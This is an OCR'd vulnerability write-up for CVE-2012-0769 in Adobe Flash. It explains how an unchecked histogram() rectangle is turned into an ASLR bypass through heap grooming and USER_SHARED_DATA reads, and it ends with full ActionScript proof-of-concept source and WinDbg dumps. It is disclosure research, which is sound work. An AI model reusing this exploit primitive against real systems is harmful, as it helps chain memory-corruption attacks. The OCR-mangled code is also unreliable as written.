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TL;DR Flash is vulnerable to a reliable info leak that allows ASLR to be bypassed making exploitation 
of other vulnerabilities, on browsers, Acrobat Reader, MS Office and any process that can host 
Flash, trivial like in the old days where no security mitigations were available. Patch immediately. 


1. Introduction 


Unless you use wget and vi to download and parse web content the odds are high that you may be 
exposed to a vulnerability that will render useless nearly all security mitigations developed in the 
latest years. 

Nowadays, security relies heavily on exploitation mitigation technologies. Over the past years there 
has been some investment on development of several mechanisms such as ASLR, DEP/NX, SEHOP, 
Heap metadata obfuscation, etc. The main goal of these is to decrease the exploitability of a 
vulnerability. 

The key component of this strategy is ASLR (Address Space Layout Randomization) [1] . Most other 
mitigations techniques depend on the operation of ASLR. Without it and based on previous 
research from the security industry: DEP can be defeated with return-to-libc or ROP gadget 
chaining, SEHOP can be defeated constructing a valid chain,... 

Put simply, if you defeat ASLR, we are going to party like it is 1999 . And this is what happened, a 
vulnerability was found in Adobe's Flash player (according to Adobe [2] installed on 99% of user 
computers) that with some magic, explained later, resulted in a multiplatform, highly stable and 
highly efficient info leak that could be combined with any other vulnerability for trivial exploitation. 

This vulnerability CVE-2012-0769, with another one that my colleague Tavis Ormandy found, were 
patched in version 11.1.102.63 [3] released the 05/Mar/2012. 

According to Adobe, all versions earlier to 11.1.102.63 are impacted by this vulnerability. Flash 
users can check their current version and latest available one at Adobe's website[4]. 










2. The vulnerability 


Adobe Flash player exposes some classes [5] that can be used with Actionscript. One of these 
classes is the "BitmapData" class [6] which contains the "histogram" method. 


public function histogram(hRect: Rectangle = null):Vector.<Vector.<Number» 

Definition of the histogram function 

The histogram method takes a Rectangle object and returns four Vector objects, the result of 
performing a 256 value binary number histogram of the BitmapData defined by the Rectangle 
argument. Each Vector corresponds to the red, blue, green and alpha components. 
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Figure 1 - Normal Use case of BitmapData.histogramj) 










The vulnerability is that there is no validation on the rectangle supplied as the argument. An 
attacker can supply a Rectangle with out of bounds values, and this will lead to performing the 
histogram of an area outside the BitmapData. 
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Figure 2 - Out of bounds use case of BitmapData.histogram() 


There are two problems for converting this vulnerability into a useful information disclosure: 

• An attacker will not directly be able to read data out of BitmapData buffer, but instead 
some processed information about the out of bound memory. 

• An attacker will read memory relative to the absolute address of the BitmapData buffer. 
This address may be influenced by the underlying ASLR of the OS. 








3. Building the info leak 


In this section I will cover only the Microsoft's windows platform but the principles should be the 
same for any platform. 

First we will need to convert the vulnerability into an actual memory content disclosure tool. 

A clever attacker could think of supplying a lxl Rectangle located out of bounds of the BitmapData 
buffer and then undo the histogram processing. This is easily done with this simple Actionscript 
function that will return the data located at that relative offset (in this case -0x200) of the 
BitmapData buffer. 


private function find_item(histogram:Vector.<Number>):Number { 

var i:uint; 

for(i=0;i<histogram.length;i++) { 

if (histogram[i]==l) return i; 

} 

return 0; 

} 

[...] 

memory=bd.histogram(new Rectangle(-0x200,0,1,1)); 

data=(find_item(memory[3])«24) + 

(find_item(memory[0])«16) + 

(find_item(memory[l])«8) + 

(find_item(memory[2])); 


A lazy attacker could, using some heuristics, look for pointers located close to the buffer and 
subtract specific offsets (dependent on software versions) to disclose base addresses of modules. 
But I choose to research a little bit more, since I am not lazy and I look for excellence on exploit 
development. 

Here is an example of pointers close to the BitmapData buffer that could be used by lazy attackers: 


1: 022:x86> r 

eax=0cdf6758 ebx=00000000 ecx=00000008 edx=00000000 esi=000000ff 
edi=00000001 

eip=6ac86ff6 esp=0379clac ebp=0379clf8 iopl=0 nv up ei pi nz na po 





nc 


cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b 

202 

Flashllf!DllUnregisterServer+0x6b655: 

6ac86ff6 8b0498 mov eax,dword ptr [eax+ebx*4] 

ds:0 02b:Ocdf 67 58 = ffffffff 


1:022:x86> 
Ocdf5758 
Ocdf575c 
Ocdf57 60 
Ocdf57 64 
Ocdf57 68 
Ocdf57 6c 
Ocdf5770 
Ocdf5774 
Ocdf5778 
Ocdf577c 
Ocdf5780 
Ocdf57 84 
Ocdf5788 
Ocdf57 8c 
Ocdf57 90 
Ocdf57 94 
Ocdf57 98 
Ocdf57 9c 
Ocdf57a0 
Ocdf57a4 
Ocdf57a8 
Ocdf57ac 
Ocdf57b0 
Ocdf57b4 
Ocdf57b8 
Ocdf57bc 
Ocdf57c0 
Ocdf57c4 
Ocdf57c8 
Ocdf57cc 
Ocdf57d0 
Ocdf57d4 
1:022:x86> 


dds eax-1000 L20 

00000000 
00000000 
00000000 
00000000 
00000100 

6b0e4fcc Flashllf!DllUnregisterServer+0x4c962b 

00000000 
00000000 
00000000 
0a4 9dd00 
ffffffff 
00000000 
00000000 
00000000 
00000000 
00000000 
00000000 
00000000 
00000100 
00000000 
00000000 
00000000 
00000000 

6ab4032d Flashllf+0xc032d 

00000000 
0 610f000 
Ocdefc80 
00000000 
00010000 
00000100 
00000000 
00000001 


ef1=00200 


Once we have a info disclosure of a relative address we want to turn it into an info disclosure of an 
absolute address. 

For achieving this goal we need first to understand Flash heap internals. Please note that I did not 
do much research on this but just the essentials needed for building a reliable info leak out of this 
vulnerability. 



Apparently, Flash uses their own internal heap management where they pre-allocate big chunks of 
memory and later fragment them when Flash needs allocations. Using browser specific "Fleap Feng 
Shui" techniques [7] will be of little help here. 

Freed chucks are inside a single linked list. An attacker can leverage this fact to read the read the 
next pointer of a cleverly located one to disclose the BitmapData buffer location. 

Once the attacker has discovered the address of the BitmapData buffer X an absolute address read 
of Y can be done with the following formula. 

data=process_vectors{bd.histogram (new Rectangle{Y-X,0,1,1))); 

Similar techniques have been used in the past for exploitation purposes. [8] 

So, the trick here is the "cleverly located" freed chunk. We will follow these steps to achieve this 
goal: 


• Defragment the Flash heap so we are not using non-contiguous freed chunks 

• Perform the allocation of the BitmapData buffer with size X 

• Perform Y number of same size (X) allocations 

• Trigger the GC heuristic with some old school technique 

• Use the relative read to read the next pointer of a chunk and subtract a fixed offset that will 
reveal the address of the BitmapData buffer. 




We start the technique with a common Flash custom heap layout. 



Figure 3 - Common Flash custom heap layout 









After defragmentation happens: 



Figure 4 - Flash heap layout after defragmentation 



































After allocating the BitmapData buffer: 
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Figure 5 - Flash heap layout after defragmentation and BitmapData buffer allocation 










For allocating blocks of a controlled size and semi-controlled contents (not needed in this example 
but still nice to have this primitive), an attacker could use the following code: 


var i:uint; 

var bd:BitmapData; 
for (i=0;i<0x200;i++) { 

bd=new BitmapData(size,Oxl,false,OxCCCCCC); 

} 

Actionscript primitive that allows to allocate blocks of controlled size and semi-controlled contents 


After allocating Y blocks of same size (X): 



Figure 6 - Preparing the soon to be freed linked list 














At this point, the attacker needs to force the garbage collector. Since System.GC() does only work 
on debug versions of Flash it cannot be used to reliably trigger the garbage collector. Instead, an 
attacker could use the old trick of requesting memory until the GC heuristic gets met. The 
following Actionscript code can be used to trigger the garbage collector. 


var bd:BitmapData; 

var i:uint; 

var size:uint=0x20; 

//trigger GC() 
for (i=0;i<0x800;i++) { 

bdl=new BitmapData(size*5,Oxl,false,OxEEOOOO+i); 

} 

Actionscript code to trigger the garbage collector 


After forcing the garbage collector on the same size blocks (0x108,1 guess 0x100 size + 0x8 of heap 
header), we will have a linked list of freed blocks just in front of our BitmapData buffer. The 
attacker will be targeting the next pointer (at a relative offset of 0x108 from the BitmapData buffer) 
of the just in front free block that points to the second freed block. By reading that pointer and 
subtracting a fixed offset (0x108*2) we will have the absolute address of the BitmapData buffer. 
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Figure 7 - Flash heap layout after Garbage Collection 










This is how it looks like in Windbg: 
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Once done, the attacker will have the address of the BitmapData buffer and can convert the 
relative write to an absolute write with the previously mentioned method/formula. 

Up to this point, everything should work on any platform but the next part is specific to the 
Microsoft Windows platform. I have no doubt similar techniques could be applied for other OS. 

Now that the attacker can read anywhere on the process virtual space, the attacker would want to 
disclose the address of a module so, later ROP gadgets from that module can be used to defeat 
DEP. On Windows, there is a structure always mapped at a fixed address (0x7FFE00000) called 
USER_SHARED_DATA. It is mainly undocumented [9] but using some Windbg tricks an attacker can 
find pointers in there. 

On x86, 0x77FE0300 holds a pointer to ntdIMKiFastSystemCall. 


7ffe0300 776370b0 ntdll!KiFastSystemCall 4- 


subtract an OS specific offset 


7ffe0304 
7ffe0308 
7ffe030c 
7ffe0310 
7ffe0314 
7ffe0318 
7ffe031c 
7ffe0320 
7ffe0324 
7ffe0328 
7ffe032c 
7ffe0330 
7ffe0334 
7ffe0338 
7ffe033c 
7ffe0340 
7ffe0344 
7ffe0348 
7ffe034c 
7ffe0350 
7ffe0354 
7ffe0358 
7ffe035c 
7ffe0360 
7ffe0364 
7ffe0368 
7ffe036c 
7ffe0370 


77637Ob4 ntdll!KiFastSystemCallRet 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

OOf4a58a 

00000000 

00000000 

00000000 

44ce7541 

00000000 

00000e38 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 

00000000 


Read this address and 



7ffe0374 00000000 

7ffe0378 00000000 

7ffe037c 00000000 

Win7 Spl 

0:016> ? ntdll!KiFastSystemCall - ntdll 

Evaluate expression: 290992 = 000470b0 OS specific offset to 

subtract in order to get ntdll.dll imagebase. 

0:016> 


On x64 (process running on wow64 mode), since the previous address contains a NULL, the attacker 
could use another address 0x7FFE036C that holds the base of ntdll32.dll. 


00000000'7ffe0300 
00000000'7ffe0304 
00000000'7ffe0308 
00000000'7ffe030c 
00000000'7ffe0310 
00000000'7ffe0314 
00000000'7ffe0318 
00000000'7ffe031c 
00000000'7ffe0320 
00000000'7ffe0324 
00000000'7ffe0328 
00000000'7ffe032c 
00000000'7ffe0330 
00000000'7ffe0334 
00000000'7ffe0338 
00000000'7ffe033c 
00000000'7ffe0340 
00000000'7ffe0344 
00000000'7ffe0348 
00000000'7ffe034c 
00000000'7ffe0350 
00000000'7ffe0354 


00000000 
00000000 
00000000 
00000000 
00000000 
00000000 
00000000 
00000000 
OOflfbff 
00000000 
00000000 
00000000 
cd3451cl 
00000000 
00001220 
00000000 
77b7 9e69 
77b50124 
77b50028 
77b500dc 
77bdfc24 
77b726dl 


ntdll32!LdrlnitializeThunk 
ntdll32!KiUserExceptionDispatcher 
ntdll32!KiUserApcDispatcher 
ntdll32!KiUserCallbackDispatcher 
ntdll32!LdrHotPatchRoutine 


ntd!132!ExpinterlockedPopEntrySListFault 


00000000'7ffe0358 77b7269b 


ntdll32!ExpInterlockedPopEntrySListResume 

00000000'7ffe035c 77b726d3 ntdll32!ExpinterlockedPopEntrySListEnd 

00000000'7ffe0360 77b501b4 ntdll32!RtlUserThreadStart 

00000000'7ffe0364 77be35da 


ntdll32!RtlpQueryProcessDebuglnformationRemote 

00000000'7ffe0368 77b97111 ntd!132!EtwpNotificationThread 




00000000'7ffe036c 77b40000 ntdll32!'string’ <PERF> (ntdll32+0x0) <- 
base address of ntdll32.dll 


A reader could be thinking that this is a bit useless since the plugin could be running on another 
process. That could be very well true, but Flash supports communicating with the host via the 
Externa I Interface class [9] and the call() method. Also please note that some modules do not 
change their base across processes. For example, ntdll.dll/kernel32.dll on Windows and dyld on 
MacOSX. 


import flash.external.*; 

if (Externallnterface.available) { 

Externallnterface.call("js_function",ntdll_base); 


} 


Actionscript code communicate with the host 



As a proof that everything works here are some captures on the info leak working... 





C:\Users\Fer\Deskti O w C X | C:\Users\Fer\Desktop\Test.... 



[Windows 7] My heap address is 0xb49b758 and ntdll base is 
0x77dd0000 


Would you like to make Internet Explorer your default browser? Yes No 


Microsoft's Internet Explorer 9 (Win7 SP1 64bits) running vulnerable Flash version 






















Mozilla's Firefox 10 (Win7 SP1 64bits) running vulnerable Flash version 

























\e\ E3 


(Jj) Test.swf 

4- O fi Q f i le:///C:/Users/Fer/Deskto p/Test.swf 


& ^ 


For quick access, place your bookmarks here on the bookmarks bar, Import bookmarks now... 


[Windows 7] My heap address is 0x9768758 and ntdll base is 
0x77dd0000 


Google's Chrome 17 (Win7 SP1 64bits) running vulnerable Flash version 





















4. Info Leak code 


Here is the source code of the above SWF file, also downloadable at: 

http://zhodiac.hispahack.com 


// 

// Info leak / ASLR bypass on flash.BitmapData.histogram() 

// Should work on any version < 11.1.102.63 

// 

// Author: Fermin J. Serna - fjserna@gmail.com | fjserna@google.com - @fjserna 
// Date: 23/Feb/2012 
// 

// 

package { 

import flash.display.*; 
import flash.text.*; 
import flash.system.*; 
import flash.geom.*; 
import flash.external.*; 

public class InfoLeak extends Sprite { 

private var display_txt:TextField = new TextField(); 

private function findJtem(histogram:Vector.<Number>):Number { 

var i:uint; 

for(i=0;i<histogram.length;i++) { 

if (histogram[i]==l) return i; 

} 

return 0; 


} 



public function lnfoLeak() { 


super(); 

flash.system.Security.allowDomain("*"); 

var rect:Rectangle; 

var bd:BitmapData; 

var bdl:BitmapData; 

var memory:Vector.<Vector.<Nunnber»; 

var i:uint; 

var size:uint=0x20; 

var defrag:Array=new Array(); 

var my_heap_address:uint=0; 

var ntdii_address:uint=0; 

var vulnerable:Boolean=false; 

var format_txt:TextFormat = new TextFormat(); 
format_txt.size = 11; 

display_txt.defaultTextFormat = format_txt; 

display_txt.x=5; 

display_txt.y=5; 

display_txt.width=490; 

display_txt.height=190; 

display_txt.wordWrap = true; 

display_txt.border = true; 


// Defrag 

for (i=0;i<0x20000;i++) { 

defrag.push(new BitmapData(size,Oxl,false,0xCC0000+i)); 

} 

// Get the chunk... 

bd=new BitmapData(size,Oxl,false,OxFFFFFF); 

// Get continuous blocks after my chunk... 
for (i=0;i<0x200;i++) { 

bdl=new BitmapData(size,0xl,false,0xDD0000+i); 

} 


// trigger GC() to free them... 



for (i=0;i<0x800;i++) { 

bdl=new BitmapData(size*5,0xl,false,0xEE0000+i); 

} 

try { 

memory=bd.histogram(new Rectangle(66,0,l,l)); 
vulnerable=true; 

} catch (e:Error) { 

vulnerable=false; 

} 

if (vulnerable==true) { 

my_heap_address=(find_item(memory[3])«24) + 
(find_item(memory[0])«16) + 
(find_item(memory[l])«8) + 

(find_item(memory[2])); 

if (my_heap_address!=OxO) { 

my_heap_address-=0x210; 

if (Capabilities.os.indexOf("Windows")!=-l) { 

// TODO fixed offsets of KiFastSystemCall for different versions of the OS 

memory=bd.histogram( 

new Rectangle((0x7ffe0300-my_heap_address)/4,0,1,1) 


ntdll_address=(find_item(memory[3])«24) + 
(find_item(memory[0])«16) + 
(findJtem(memory[l])«8) + 
(find_item(memory[2])); 

if (ntdll_address!=0) { 

// 32 bit system 

ntd ll_add ress-=0x000470b0; 

} else { 

// 64 bit system 
memory=bd.histogram( 

new Rectangle((0x7ffe036c-my_heap_address)/4 ; 0,l,l) 

); 



ntdll_address=(find_item(memory[3])«24) + 
(find_item(memory[0])«16) + 
(find_item(memory[l])«8) + 
(find_item(memory[2])); 

} 

display_txt.text = "['^Capabilities.os+"] My heap address is Ox"+ 
my_heap_address.toString(OxlO) + 

" and ntdll base is Ox"+ ntdll_address.toString(OxlO) + 

"\n"- 


} else { 


display_txt.text = "["+Capabilities.os+"] Not yet researched..." + 
"\n"; 


} 


} else { 


display_txt.text = "["+Capabilities.os+"] Your flash version ("+ 

Capabilities.version+") is probably not vulnerable..." + "\n"; 


} 

} else { 


display_txt.text = "["+Capabilities.os+"] Your flash version ("+ 

Capabilities.version+") is probably not vulnerable..." + "\n"; 


} 


} 

} 

} 


addChild(display_txt); 
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